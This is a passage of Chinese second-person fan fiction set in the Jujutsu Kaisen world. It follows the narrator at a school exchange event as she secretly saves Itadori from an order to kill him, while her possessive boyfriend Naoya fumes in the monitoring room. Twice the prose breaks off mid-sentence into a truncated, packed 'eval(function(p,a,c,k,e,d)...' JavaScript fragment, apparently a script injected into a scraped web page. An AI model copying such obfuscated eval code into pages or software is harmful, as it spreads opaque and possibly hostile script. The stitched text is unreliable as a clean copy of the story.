伏黑和野蔷薇互看一眼,虽然不知道你过来恭喜的原因,但是揍虎杖得稍后了,当着你的面继续打他有些太难看了。 “谢……谢谢?”虎杖好不容易才挤出了这句话,说完他的脸‘刷’地一下通红。 五条悟将这一切尽收眼底,他颇有兴致地看着你轻盈地转身归队,大概能猜到你的小脑袋在想些什么,他倒没有觉得你太自私,只觉得像你这样性格和欲望都鲜明的人更有趣更好懂,只要凡事都从你的利益去分析,你在他面前就好像变成了一个透明人一样。 “啧。”真依不太友善地盯了你一眼,但是也没说什么,不过轻蔑的眼神已经出卖了她的想法,她一定是觉得你在算计着什么。 宪纪低头看你,你也坦然看他,你看起来毫无心虚、理直气壮,宪纪本想问你缘由的话也堵在了嗓子里:恭喜别人复活确实是应该的……吧? “浅川离,她是这个性格的吗?”熊猫小声询问身边的真希,“之前偶尔遇到,我以为她是个只想着自己的人,居然那么热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你这种小猫咪有什么可忙的……好吧,那晚上……晚上再说!”他隐瞒了几乎脱口而出的‘晚上见’。作为男人,作为年长者,作为你的包容方,他决定先就这样。 虽然直哉没有上过高专,但是他大概知道你现在和同学们在一起,如果纠缠不清只会让你厌烦,所以见好就收。 “嗯。”你在挂之前又想到了什么,于是压低了声音,几乎是用气音说道,“对了,禅院,宿傩容器没死。” 其实即使你不说,虎杖悠仁存活这样的大事也会很快传遍高层和御三家,但是和直哉嘀嘀咕咕各种情报,好像已经刻入了本能。 为了表示你们还没和好,你特意改变了对他的称呼。 “禅院?”直哉闻言气得咬牙切齿,然后他才捕捉到你话里的重要信息,“什么?活着?活着就活着吧……你外公是什么反应?” “我外公和你没有关系,禅院。”你继续补刀,禅院禅院禅院禅院。 你发现这很有趣,真依姐妹不喜欢被称为禅院,伏黑同学更是直接把姓都改了,现在连直哉都在抗拒,看来直哉引以为傲的禅院很不受欢迎啊… “……不许叫我禅院,叫我名字。”直哉发现自己根本没心思去想什么容器、高层、御三家,他讨厌你对他疏远的称呼,这让他生理性不适。 “禅院。” “叫!我!名!字!”即使是隔着电话,你也能感觉到直哉炸毛了,听筒里溢出的带着浓烈关西腔的暴怒声音让身边的宪纪都没忍住侧目。你都可以想象此刻他漂亮的脸狰狞成什么样子,其实这种时候的直哉也是别有一番风味的,就是那种真的生气了,但又是无能狂怒的感觉! “直哉、直哉,行了吧?好了,我真还有事,挂了。”其实你想直接挂电话,但是挂了电话他一定会继续打来,即使你拉黑也没用,他可以用禅院任何一个人的号码不断找你,所以你还是安抚了他一句。 “听好了!以后不许叫我禅院!听到了吗?那…晚上再联系!”直哉似乎也意识到了大吼大叫真的很幼稚,于是他语气闷闷地挂了电话,就好像这样就表示他完全不在意一样。 不过他也没闷多久,想到晚上他就可以给你一个惊喜,直哉的嘴角又压不住了,他甚至开始思考:晚上是突然出现从背后抱住你好呢,还是去宿舍夜袭,像上次一样直接钻你被子?反正不管怎么样对你来说都是惊喜吧?想到这里,直哉都有些佩服自己了,明明是第一次恋爱,他怎么能那么会啊!应该是恋爱天才没错了。 22.第 22 章 京都东京姐妹校交流会第一天团体战开始。 五条悟将之命名为:【紧张刺激的咒灵讨伐竞速赛】 夜蛾校长作为主持,宣布了规则,你没仔细听,反正就是狩猎多多的咒灵。 他强调因为你们都是抗击诅咒的伙伴,所以严禁杀害或是致残对手。 待他说完,你跟着同学们去到了东京校安排的会议室。 你跟着大家进门,在宪纪和三轮附近找了一个不起眼的位置站好,准备聆听你外公讲话。 “杀掉宿傩的容器,虎杖悠仁。”你外公落座的第一句话就如平地惊雷,你有些不解,之前他和五条悟不是已经达成共识了吗,现在突然积极是被下降头了吗? 而且!五条悟就在学校里啊,杀了虎杖,然后京都校的大家再被生气的五条悟干掉吗? 五条悟不像会是杀学生的人!可是你的外公不是学生! “那东西不算人类,不会追究责任,会被当成事故处理。不用手软也不用犹豫。”你外公语速缓慢,咬字却很清晰,他瞄了你一眼,但是没有想解释的意思。 他嘱咐你们记得用咒力杀虎杖,避免他变成咒灵。 他的话音才落下,东堂葵就一脚踢破了逼仄和室的纸门,他态度恶劣凶蛮:“无聊,你们自己搞吧。” “回来,东堂,校长正在讲话。”宪纪很是平静地叫住了他。 “十一点开始的访谈节目邀请了小高田做嘉宾,还需要我多说明什么吗?”东堂面色不善地回头,说出的内容也符合他‘小高田丈夫粉’的人设。 “看录像就行了,回来。”宪纪并没有被他的理由打动(这是理所应当的!) “直播和录像都要看啊!你瞧不起我吗!!”东堂大怒,独属于一级咒术师的强大威压迅速铺满了这间小屋,恐惧攫住了所有人,你下意识往后退了一步,不过你也没太害怕,东堂不至于杀同学,他不是真的疯子。 他大闹一场留下一片狼藉后走了,你看着破碎的门,心中对他的力量产生了羡慕,如果你也有这样的力量,外公也不用像现在一样处处忍气吞声。虽然你已经拥有直哉这样好用的‘刀’,但是他毕竟是个外人,分手了就用不到了,力量要自己拥有才是真的。 乐岩寺也起身离席,走之前他看向你,意味深长地吩咐你要多出力,认真祓除,可不能只依赖同学。 这句话就很微妙。 首先你是个辅助,在宪纪、三轮、机械丸、真依这些输出都在的情况下,让你多出什么力? 其次,你外公对你的秉性了如指掌,平时你跟着宪纪摸鱼他都没说什么… 外公了解你,你也了解外公。 你用几秒就想明白了其中的关节:是总监部高层对你外公下达了这个指令,老狐狸外公目前不想得罪高层也不想得罪五条悟,于是只能在同学们面前颁布这个指令,他特意反常对你说话,就是想让你知道他的真实意图。 你的能力用来杀戮还不够看,但是如果想保下虎杖悠仁? 你是苟命王,精于此道,并颇有自信。 东堂和外公都离开后,很明显你的同学们对狩猎宿傩容器没有兴趣,言语间都是在找不去狩猎的理由。 三轮看向你,满眼都写着抗拒,她想得到你的支持,于是试探开口:“浅川学姐,不如我们组队狩猎……” 咒灵二字还未出口,宪纪就打断了她。 “不……高专所属的咒术师里出现了虎杖悠仁这样不合格的家伙,可是重大的问题。交流会是其次,我身为加茂家嫡流不可坐视不管。”他面向所有人,顺便回头看了一眼你和三轮,下令道,“京都校全体成员,一同狩猎虎杖悠仁。” 你闻言小脸一垮,心说宪纪这个人就是责任心太强了,可别碍事啊。 你望天思考:实在不行就挡在虎杖悠仁面前,那样宪纪就不会下手……了吧?如果宪纪真的丧心病狂到连你也要一起杀掉,那你也不会对他客气的! ‘我爪也未尝不利!’你莫名其妙在心里燃起来了。 西宫还想挣扎一下,问遇到咒言师狗卷棘该怎么办,宪纪表示无妨,用咒力保护听力即可。 反正结论就是你们必须参加‘狩猎’行动,没有借口,没有理由,必须行动。 “真希交给我对付,如果可以的话,那个棕色头发的一年级也交给我。”真依突然东堂上身一般,为自己找好了敌人。 “……哈?”此刻你幻视真依的脸成了直哉,这种莫名其妙突然出现的,蠢蠢的争强好胜到底是哪里来的?禅院基因……居然强大如此吗? “你的发言和东堂一个水准。”宪纪的评价可以说是和你心有灵犀,真依不爽,但是真依一时间无法反驳,她自己也觉得这话有点蠢。 距离比赛还有一点时间,你们暂时分散,各做准备。在离开会议室之前,宪纪叫住了你。 “浅川,你是我方重要的辅助,比赛时请务必一直跟着我。”他静静地看你,又仿佛有些不太确定,“校长的意思……” “校长的意思我已经完全理解了。”你在心里夸奖宪纪聪明,他似乎也看出了一些端倪,不过你并不打算和宪纪互通情报:他毕竟是御三家的嫡子,而且还有较高的道德水平,你不能大剌剌告诉他老狐狸外公的计划,免得让他因为阳奉阴违而不自在。 其实最主要的是……他不是直哉,你并不是什么都可以告诉他的。 他见你藏着掖着,并不完全信任他的样子,也只能叹气:“好的,我明白了。” …… 开场前五条悟在赛前广播里戏弄了歌姬老师,你们对此习以为常,歌姬老师遇到五条悟就会百战百败,定番罢了。 随着正式开始的铃声响起,你们双方都行动了。 西宫骑着扫帚升空,在高处进行全方位的侦察,同时用手机联系下方的你们。 你紧紧跟着宪纪的步伐,虽然你体术差,但是此刻还不到使用提速咒具的时候,你呼哧呼哧地尽力跟着,很是狼狈。 按照西宫的指引,你们很快在密林里找到了虎杖悠仁,让你很意外的是,他一头一脸都是血,开局就离队的东堂葵也在,明显就是他打的。 战场瞬息万变,在你还在思考的时候,三轮、宪纪、真依、机械丸已经呈现包围态势并发起了攻击……刀、子弹、激光炮全往虎杖身上招呼,宪纪也拉开血箭对准了他。 不能让虎杖死了!见状你迅速发动结界,众人的脚下非常突兀地出现了地震环境,大家都被震得东倒西歪。宪纪勉强稳住身形,惊讶地回头看你,他知道你对于术式的掌控娴熟,不至于出现这样的误判操作。 “搞什么啊!浅川离!”真依差点被你从树上震下来,她抱着树干气急败坏,“白痴!你不能把范围放在那边吗!”她手指的方向是虎杖和东堂。 “不好意思。”看着真依像个炸毛小猫一样猫猫叫,你没有什么诚意地道歉,心里还觉得有趣。你的行动成功打破了众人针对虎杖的围猎态势,起码弄乱了战场的节奏。 “喂。”东堂语气不善地重重朝着宪纪所站的地面锤了一拳,“我说过了吧?敢妨碍我的事,就杀了你们。” “不对吧,你说的是指挥你的话就格杀勿论吧。”宪纪轻盈躲开,并冷静反驳。 “都一样!都给我滚!”东堂并不是一个讲道理的人,他像恶鬼一样对着你们咆哮。 眼看要被迫离开战场,三轮偷偷握拳,心说太好了。 “看来要撤了。”机械丸和真依也收手,毕竟那是东堂葵,他如果发起疯来,你们可能会团灭。 “一定要确保击杀。”宪纪当然也知道东堂的实力,并且不会在此和他硬碰硬,于是他嘱咐了一句便准备带队离开。 东堂葵完全不回应他,只兴致勃勃盯着虎杖。 你感觉有些头大。 你本来的计划是在围猎虎杖的时候故意装作结界失控,在混乱中放走虎杖,可是现在东堂葵要对战虎杖,你应该怎么办啊? 留下和东堂一起对付虎杖悠仁?不可能,东堂葵这种战斗狂魔,他的目的根本不是胜利,而是享受过程,绝对不会带你这样的‘外人’玩。 可是……如果东堂葵把虎杖杀了,五条老师肯定会把血债算在你外公头上,毕竟命令确实就是你外公下达的。 你踌躇不前,脚和原地生根了一般,脸上也写满了忧虑。真依他们已经往前走,宪纪回头呼唤你,他发现了你奇怪的表现,但是一时间有些不能确定你的想法。 …… “禅院先 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“哦哈哈,对哦,真希和真依都是禅院呢。”五条悟心中如明镜一般,禅院直哉完全是为了老爷子家的小白猫来的,啧啧,这可真是二十四孝的控制狂,不,男朋友。难道和已经成年的女朋友分开一两天都不行吗?反正他是无法理解这种扭曲的感情啦。 ‘爱是最扭曲的诅咒’,看着直哉,五条悟没来由地想到了自己对忧太说过的话,他颇有兴味地想:禅院直哉这样的论外之男也会和忧太一样,拥有名为‘爱’的诅咒吗?还是说只是控制欲和占有欲在作祟呢? 想到你那双如包在火焰中的冰块一样的暖色琥珀瞳,五条悟嘴角微微翘起:其实我们小离对禅院直哉的感情也不一定是‘爱’吧,是在所有可能对象中寻求最优解的利用吗?如果是这样,这份‘爱’真的很公平,很牢固! 直哉并不知道你和他的关系正在被五条悟‘分析’,他仔仔细细盯着每个屏幕,并没有找到那个熟悉的、美丽的、想念的,可恶的,属于你的身影。 “什么破烂监控……连个人都拍不到,这么多屏幕是摆设吗?”看了半天,他恶狠狠地‘嘁’了一声,然后打开手机检查信息,虽然知道在比赛中你没有时间发信息,但是万一呢? “呵。”被称为‘破监控’的冥冥轻笑一声,她撩了一下额前的辫子,用成年女性特有的优雅回应:“禅院君,你也太心急了一些,该看到的时候,自然都会看到的。” 直哉这时候才想起交流会的乌鸦监控来自冥冥的‘乌鸦操术’,冥冥是一级咒术师,强壮美丽,即使她明显不在弱者范围,直哉还是保持着根深蒂固的傲慢,在他眼里够格的强者只有五条悟和甚尔,所以他也只是冷冷呵了一声回应。道歉或打圆场?不可能的。 冥冥并不介意,她和禅院一族来往颇多,赚了不少,态度什么的无所谓。禅院直哉本来风评就很差,树敌颇多,就连在禅院内部也没有人信服他,他唯一拥有的“有价值的财产”也只有乐岩寺的那个很有潜力的外孙女罢了。 就连家主之位,是他的可能性其实都很小… 你的外公将一切都收入眼中,对禅院直哉的评价更低:这小子随便张口就得罪一个一级咒术师,如果我把阿离嫁给他……那我们乐岩寺家要被他连累死的吧?不行不行,还得是加茂宪纪… “噁……”直哉并不知道未来‘岳父’正在厌恶他,他喝了一口桌上放凉的茶水,只觉得口感粗糙,难以入口,于是他不假思索地脱口而出,“东京校就不能买好一点的茶叶待客吗……” 随着他的话音落下,监控室安静了。 负责买茶的伊地知洁高慌张:呜…预算就那些啊。 五条悟侧目:哇哦,进门三分钟得罪所有人,不愧是你,禅院直哉! 夜蛾校长擦汗:乐岩寺校长的外孙女看起来挺正常的,男朋友怎么有点……直毘人先生也不是这样的啊。 歌姬老师握拳:浅川,你一定要选择加茂啊,这个禅院实在是…比五条还让人难以接受。 乐岩寺黑脸:禅院直哉!你就不能得体一点,偶尔也让阿离骄傲一次吗?一定要这样丢她的脸吗……赶紧分手吧!蠢货! 远处正在纠结如何处理虎杖的你:阿嚏!诶?直哉在骂我吗?还是…在想我? 23.第 23 章 按照正常的发展,你应该先离开,之后等大家都散去,你再和宪纪提议说回来看看,顺便保护虎杖。 但是……你瞄向东堂葵。 这可是在京都百鬼夜行中能单杀特级咒灵的一级咒术师,已知性格非常好斗,他不惜让大家都滚也要和虎杖悠仁单挑,战意满满,不像是能善了的样子。 即使体内有宿傩这样的凶物,虎杖悠仁本体也只是个十五岁的少年,你不觉得等你去而复返他还能活着。 你看向虎杖,虎杖也在看你。 他的表情有些复杂,可能是因为之前你对他释放过善意,刚才还用‘地震’间接帮助了他,此时的他困惑于你的立场,又对你抱有善意的信任。 你想到了五条悟的威胁,又想到了外公的嘱咐,再看着眼前的少年懵懂清澈的脸,作为准一级咒术师,京都校第一苟命王(自封)的你下了决心。 随着你心念所动,整个世界都变成了白色,强光之下所有人的视觉感官瞬间被剥夺。 你施放的是从来没有在同学面前使用过的强光结界。某次直哉陪你在沙龙做指甲时,你从隔壁包间客人在做的激光脱毛项目中得到了灵感。拓印这个环境大概试了八次,你顺带着把直哉身上该脱的地方都做了激光。 目前为止,只有‘受益人’直哉知道强光结界,算是你俩之间保密级别很高的一种战术配合,同时他要你必须守口如瓶,关于他做激光脱毛这件事。 虎杖瞬间被白光‘闪瞎’眼,他什么也看不到,但是触觉仍在。慌乱间,他感受到一个柔软冰凉的东西贴到了手上,下一秒白光消失,周遭的环境恢复正常。 他很清晰地看到了那个疑似友军的浅川学姐正站在身边,还牵着他的手,那双琥珀色的眼睛正清凌凌地注视着他。 “什么情况?” “浅川离?!你疯了!是你干的吧?!” “传感器失灵,镜头烧焦了。” “大家不要乱!闭上眼!” “哦哦哦哦?!有趣?!” 你心情复杂地听着同学们混乱的抱怨和准确的猜测,对着虎杖做出了‘带我走’的口型。 虎杖不是笨蛋,只有你俩不受强光的影响,用脚趾想都知道是你在保护他。他的行动力也超强,毫不犹豫地拦腰把你抱起就跑,你安安静静地趴伏在他的肩上并抓住他的衣服,心中惊叹他速度之快,虽然比不上直哉,但是也很接近了。 一直到跑出老远,你才解除了术式。 你并不担心同学们会瞎掉,因为他们都是聪明的咒术师,肯定会立刻闭眼的。 你正思索等会儿要怎么将这件事糊弄过去,一只乌鸦从你们的身边低空掠过,你认出这是冥冥一级的术式……你更头疼了,本来只需要对同学解释,现在监控室的老师都看到了,有点麻烦啊。 实在不行,就说是他绑架的我吧,你转头看向虎杖粉色的后脑勺,破罐子破摔地想。 监控室内,刚才还如同孔雀一般傲慢的禅院直哉双目圆睁,面如死灰,他抿紧的薄唇刚想说点什么恶毒刻薄的话,画面一闪又切换到了森林的空镜。 “悟君!你的学生怎么能非礼我的……”直哉精准找到了他认为应该对此事负责的人,他愤怒转头,漂亮的脸上青筋直跳,口中的话语却卡壳了。 他知道你不喜欢‘我的女人’这个指代词,你好像没有属于他的自觉,他认为这是你的嘴硬,可是因为你否认了很多次,他也不得不避免这个称呼。 五条悟一脸玩味地看着他:“嗯?你的什么?” “我的女人!”你并不在监控室,直哉认为乐岩寺老头也不至于为这种小事告状,于是他还是怒吼着把心中所想说了出来。 对于你被虎杖抗走,京都方面只有直哉一人反应激烈,你的外公乐岩寺始终保持着沉默,歌姬老师面上平静,心中则是有些激动,虽然她也不想做个八卦的老师,但是有一种‘新的CP出现了’的微妙感觉。 “哎呀哎呀,可能是小离和悠仁的战略考量吧?直哉君,你别太过担心了。”五条悟轻飘飘地‘安慰’了他一句,然后转向边上一脸看好戏的冥冥,问出了他真正想知道的,“冥小姐,为什么悠仁的画面总是断断续续啊?” “呵呵,操纵乌鸦是很辛苦的,动物也是很随性的。”冥冥甩了甩她额前的辫子,回答得轻松写意,似乎禅院直哉的怒火和五条悟的质疑都是风的声音,不需要太过在意。 “冥小姐是站在哪一边的呢?”五条悟追问。 冥冥做出了一个钱的手势:“当然是钱这边。” “呵,你这个守财奴,也不知道存了多少。”五条悟放弃纠缠冥冥,毕竟她收钱办事清晰明了,撒钱嘛,老橘子可以,他也可以。非常有钱的五条悟将身体轻松往椅背上一靠,继续欣赏禅院直哉那一脸要杀人的狰狞表情。 直哉相信你不会看上虎杖悠仁,倒不是他对你有多信任,只是因为他知道你是个自保第一的自私猫。虎杖如果只是个强壮少年,你可能还会贪图他的青春□□,但是他的身体里有着大麻烦宿傩,你绝对不可能和他有超出同学的关系。 虽然知道和暧昧无关,但是一想到那个容器抱着你奔跑,直哉就控制不住暴虐的心,他非常想冲到会场把容器的脏手砍掉!居然敢碰他禅院直哉的女人…… 他完全没有了闯入监控室时的从容优雅,肉眼可见地开始焦躁不安,好几次起身又坐下,他知道不能现在就去找你,这样会打扰你的比赛,你肯定会非常不高兴。所以他只能“乖巧”坐回原处,理智也渐渐回笼。 直哉是真的很了解你,这件事如果是虎杖发起,你肯定会疯狂反抗连咬带挠,现在你安安静静趴着…那么这件事肯定你主导的!他决定晚上要好好“教育”你这只不懂分寸的坏猫,起码要你哭着求饶,说请直哉少爷原谅才行。 …… 跑到足够远的地方,你拍了拍虎杖示意他放你下来。 “浅川学姐……谢谢你。但是你之后该怎么办?”虎杖丝毫没有狂奔后的疲倦,反而开始担心你会被其他京都人为难。 “不用谢……你保持活着就是对我最大的感谢了。”你揉了揉因颠簸而有些酸痛的腰,真心实意地祝愿他,“我只能帮你到这里,别死了哦,虎杖同学。” 咒术师之间的祝福就是如此朴实无华,虎杖红着脸应下,心说你确实是个很好的学姐。比赛开始前的东京校会议中,熊猫学长说你冷漠自私,真希学姐说你男朋友是人渣,你外公是老橘子,所以不要对你有是好人的期待。现在你这样帮助他……善良的虎杖为曾经怀疑过你的人品而感觉到羞愧。 告别虎杖后,你一个人溜溜达达地走着,心里盘算着等会儿要怎么解释强光呢? 真依他们对你的术式都不太了解,所以即使怀疑,也只能是怀疑,你可以一口咬定白光是宿傩容器的术式,你只是被他顺手绑走的柔弱美少女罢了。 但是宪纪……他毕竟和你搭档了三年,你要是梗着脖子否定,他会觉得你当他是傻子。 想到这个正直可靠的同期搭档,你揉了揉自己的太阳穴,感觉好难处理这个问题。 “浅川。”正当你在头脑风暴的时候,宪纪的声音从后方传来,他的语气比平时要冷上三分,带着一种别扭的冷静和克制。 你心说糟糕,缓缓回头,只见他手持弓箭站在你的不远处,用他惯有的那种冷静姿态面对着你。 “浅川,我们现在还是队友吗?”他用平淡无波的语调询问你,但是并没有举起武器,脚步没停,很快就走到了你的面前。 面对如此冷硬陌生的宪纪,你承认你有点害怕了。 不仅仅是害怕,还混合着心虚、内疚、自责等许许多多负面的情绪。 扪心自问,过去三年里,你和宪纪一起面对的咒灵没有一千也有八百。他非常尽职尽责地行使着队长的职责,在任何情况下都以护你的周全为第一。虽然从战略上来说保护辅助是应该的,但是咒术师到死的时候都是个体,你这条命,其实并不是他的责任。 虽然你选择的是闭眼就没事的强光,但是确实是对同学们发起了攻击,如果只是攻击真依、机械丸还好,但是你还攻击了三轮和宪纪,三轮是你最近熟悉的新朋友所以还好,而宪纪这个‘老搭档’……他一定对你失望至极。 “我……”你嗫嚅了一下,垂下头,老老实实道,“对不起,加茂同学,我不是故意的……” 他不语,只垂眸看着你,大概是想听听你能解释出什么花来。 “我,我,我没想伤害你们,我也是没有办法,你知道,你知道东堂他……我,我不想的。”因为他的冷漠回应,你开始有些慌不择言,死脑子好像转不起来了,死嘴也开始结巴了。 你看起来慌慌张张、手足无措,完全没有了平时那副‘怎么样都行,随便你们’的猫咪松弛感。 在宪纪眼里现在的你好像一只被抓住耳朵胡乱蹬脚的小野兔,这样贴切的幻想让他有些绷不住严肃的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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你这时候才感受到脸上有冰冰凉凉的液体滑过,这倒不是伤心的泪水,大概是因为害怕狡辩失败,又夹杂了真心的愧疚,结合在一起产生的生理性泪水,俗称急哭了。 宪纪是随身会携带手帕的老派精致少年,他掏出口袋里干净的手帕递给你,示意你可以用它擦眼泪。 “谢谢……加茂,那等会我要怎么和机械丸他们解释啊。”你接过手帕没有用,只是攥在手里,又偷偷换回了称呼,低着头小声道。 宪纪沉默了一下,有些认命一般,说出了和你一样的想法:“就说是宿傩容器的术式吧,说他绑架了你,我找到你救了你。” 他很少撒谎,但是该变通的时候还是很变通的,特别是现在这样的情况,除了甩锅给虎杖悠仁,他也没有更好的办法。 你们都没有注意到,不远处的树上有一只乌鸦正一动不动地看着你们,还歪了一下头。 “加茂宪纪!!你这个下流卑鄙的小人……你当我死了吗!”监控室里,直哉再次暴怒,但是这一次他甚至找不出一个指控的理由。 视频里你和宪纪站得很近,但是也仅此而已,只能看出来你们正在交涉,他还递了手帕给你。因为听不到具体的对话,所以也不知道到底发生了什么。 虽然你和宪纪都没有肢体接触,但是直哉就是觉得氛围很是暧昧!你仰头看向穿着阴阳师一般高专制服的宪纪,满满都是平安时期贵族男女私下见面互诉衷肠交换信物(手帕)的既视感!! 他愤怒看向京都校的带队老师庵歌姬,又狐疑地看向老神在在的乐岩寺,这两人都很默契地毫无反应。这让他更加有火没处发。 他甚至想回去就找直毘人老头,让他把家里随便哪个表妹堂妹送去加茂家联姻!让那个加茂宪纪未婚变已婚!他相信你看不上已婚男,因为交往已婚男弊大于利,你肯定不会做吃亏的事,这样加茂宪纪就完全出局了! 且不说直毘人会是什么反应。禅院有咒力的女性只有真依,如果真的商议定亲,宪纪和真依两人都会惊恐至极,极力抗拒,甚至拼个鱼死网破。所以这只是直哉的幻想,是不可能成真的。 “噗嗤。”看着直哉气到几乎冒烟,焦躁不安如同应激了的炸毛狐狸,五条悟没忍住笑出声。 一直都磕你和宪纪CP的歌姬老师死死咬着嘴唇,努力不让嘴角翘起。 她盼望你和禅院直哉BE已经很久了,如果你选择了加茂宪纪,婚礼上她绝对绝对送一份大礼! 你外公当然也高兴,他刚才都有些期待你踮脚直接亲上去……当然这样的想法他并不会告诉你,他还是得维持自己‘老年人’的保守形象,虽然是摇滚老年人。 24.第 24 章 取得原谅之后你顺理成章地跟着宪纪行动。 宪纪简单和你说了一下你离开后其他同学的情况。你闻言点头,顺便启用了提速的符咒,小跑着跟上他。 你希望快点遇到作为‘大奖’的那只二级咒灵,让宪纪赶紧祓除了结束比赛。 可惜你们还是在档案楼遭遇了东京校的伏黑惠。 你们两个三年级对上他一个一年级,实在是有些欺负人,但是咒术师打架并不是人多年龄大就能赢的,你第一时间放出岩浆环境阻拦了伏黑惠的行动路径,不过你觉得这对他影响不大。 毕竟他是禅院的十影继承人,是你心中最正统的禅院未来家主,即使直哉会破防,你还是这样想的,咒术师实力为尊嘛。 “加茂学长,浅川学姐。”伏黑惠先是礼貌打了招呼,然后召唤出了式神……禅院和加茂祖传术式的战斗一触即发。 你为自己找了一个安全的站位,不断控制岩浆的变化以保证只攻击到伏黑惠,同时你并不打算使用对十影的克制战术,这只是一场交流会,没有必要。 即使你在摸鱼,这场遭遇战对伏黑惠来说非常吃力,他和宪纪一路打一路聊,一边挨打一边还要陪聊真的让他觉得很烦! “你可以同时放出多种式神吧?你这样留一手,可是让我很不开心呐。”宪纪取出了最后的一支箭,搭在弓弦上。 “加茂学长只剩下一支箭了吧?如果你贫血晕倒,我可不会救你哦。”伏黑惠心说玉犬在其他地方工作,没办法过来。 “不必担心,都是事先准备好的。”随着宪纪的话音落下,他将弓箭射向屋顶,在屋顶碎片的掩护下,他飞身逼近伏黑惠,给与了他沉重的一击。 伏黑惠用来格挡的咒具应声破裂,可见宪纪力道之大。 你知道这是赤血操术运用中的【赤鳞跃动】。让体温、脉搏、红细胞数量等血液中的成分可以被自由操纵,极大地提升身体素质。这是你第二次见到宪纪使用这一招,说明他真的很想赢。 你的符咒已经燃尽,于是猫猫祟祟躲到一边观望,避免被两人的打斗波及。 宪纪夸奖着伏黑惠的进步,伏黑惠忍无可忍,终于问他:“你这种时不时冒出来的同伴意识到底是怎么回事啊?” “是共鸣。你终将成为支撑御三家之人。因为你和我,是同类。”宪纪语出惊人,就这样随随便便帮禅院家决定了未来。 你心中暗道‘哦嚯’,原来宪纪从来没有把直哉当作禅院的继承人,他和直哉是双向奔赴的互相看不起。 但是……宪纪当着你的面说这样的话……你可以说直哉不配当家主,轮到别人说,你就有一点点不开心了。 就好像你可以随便和直哉打闹,但是别人走过来给他邦邦两拳…这是不一样的! 不过你也没想给直哉出头,现在躲着是第一要务!逞口舌之快没有用。 “不是。”伏黑惠冷静婉拒了。 “怎会不是?” “说了不是就不是。”伏黑惠明显也被困扰到了,“这些话请你去和真希学姐说吧,我已经和禅院没有关系了……” 语毕,伏黑惠召唤出式神满象,用巨量的水流轰开了屋子,你站在角落,看着他俩跳到了楼下继续打。 “我可不能输啊!”随着宪纪大声吼出的决心,巨大的藤蔓快速缠绕住了对面的校舍,并以一种非常恐怖的速度继续生长。 他俩同时停下了攻击往藤蔓的方向看去,只见东京校二年级的狗卷棘出现在藤蔓下方的屋顶上,一直只说饭团语的咒言师,此刻声嘶力竭一般喊出了一声‘快跑!’。 宪纪立刻回头看向仍然留在楼上的你,他刚想对你喊先撤退,藤蔓之下走出一个浑身散发着强者气息的特级咒灵,和东堂之前祓除的那只不同,这一只强上百倍,看造型应该和植物相关,肩膀上有一朵巨大的花。 自私的你应该转身就跑,但是你的良心拉住了你:大家都是抵抗诅咒的伙伴,宪纪和伏黑现在是战损状态……虽然不知道咒灵怎么突破了高专结界,但是五条老师肯定在附近吧?你们只需要坚持一会儿…… 想到五条悟就在附近,你就放心跳下了楼,宪纪眼疾手快地接住了你,厉声问道,:“浅川!你下来做什么,你……” 他想让你快逃,一阵恶心的声音滑入了你们的耳膜,特级咒灵用特殊的语言说着一些经典的环保主义发言,比如请人类去死,把地球还给植物之类的。你意识到这是标准的环保反派出场了! 因为特级咒灵的威压,你下意识地紧紧箍住宪纪的脖子,整个人几乎都要贴在他的身上,不知是否因为你靠太近了,宪纪的上半身都僵硬得绷直了。 你并没时间理会他的异常,反正就是不撒手!你的身体就是普通人强度,被那个特级咒灵甩一鞭子就会归西了! 你能感受到空气中几乎凝滞成型的紧张感,狗卷棘将遮挡嘴边咒文的衣领完全放了下来,伏黑惠也放出了新的式神,现在已经不是藏拙的时候了! 你稳下心神,整理思绪,然后灵光一闪,决定赌一把对方的环保主义! 随着你施术,以你为圆心大约三十米的范围迅速铺开高耸的绿色,不属于东京地区的池杉和落羽杉如凭空出现一般整整齐齐排列在四周。一下子使用了过大的结界让你感到一阵头晕目眩,不过你的咒力储备异于常人,所以虽然疲劳,但是也只是疲劳,能撑住! 这并不是宪纪第一次‘携带’着你遭遇敌人,你们的默契无需言语,在其他人还在震惊环境突变的时候,他已经单手抱着你,用空着的那只手发动了新的一轮‘穿血’。 在高森林覆盖度的环境里,那只热爱地球的特级咒灵的动作变得束手束脚,它的大范围藤鞭开始踟蹰,每一次攻击都会殃及一片三十年树龄的大树,这让它产生了强烈的愧疚感。 你看到狗卷连发多次咒言已经开始咯血,再看伏黑惠的玉犬和宪纪的穿血只能破它身上的一些边角,你意识到它的防御太高了。 这不是普通的特级咒灵……这是天灾。 你焦虑地看向远处,想到了直哉,鉴于你早上说了’跟来东京是小狗’这句话,你想他一定还在京都吧。 你是真的有点后悔早上说那样的话……如果真的死在这里,直哉会为你哭泣吗?直哉会不会立刻移情别恋?直哉之前还评价真依姐妹的身材好,他是不是和东堂葵一样喜欢高个子的女人?你的遗言好像还是和他吵架,这也太……了,他应该也会觉得遗憾吧? 对于以上你其实都不太确定,但是你肯定他绝对会在你的坟前破口大骂,毕竟他是直哉啊。 “加茂宪纪!” 听到这个熟悉的恶狠狠的声音,你震惊转头,直哉?! 你怔愣看着,只见直哉怒气冲冲地朝着你们的方向奔袭而来,速度快到几乎成了虚影,他双目赤红盯着……宪纪紧箍着你身体的那只手。 在直哉的眼里,你就好像一只被人单手托着的猫,还傻乎乎地看着他,似乎并没觉得这有什么了不起的,也没有被人托着臀部的羞赧,反而是一脸理直气壮! “该死的偷腥猫!你那只肮脏的手放在哪里呢?!给我松开!”直哉成功将情绪和身体剥离开来,他虽然嘴上在骂着宪纪,攻击却是朝着特级咒灵而去。 在场众人都被禅院直哉反派一般杀意滔天的出场和快到几乎看不清的速度惊了一下,因为他肯定不会是咒灵方,年轻的咒术师们很现实地忽略了他恶毒的话语,继续专心投入战斗。 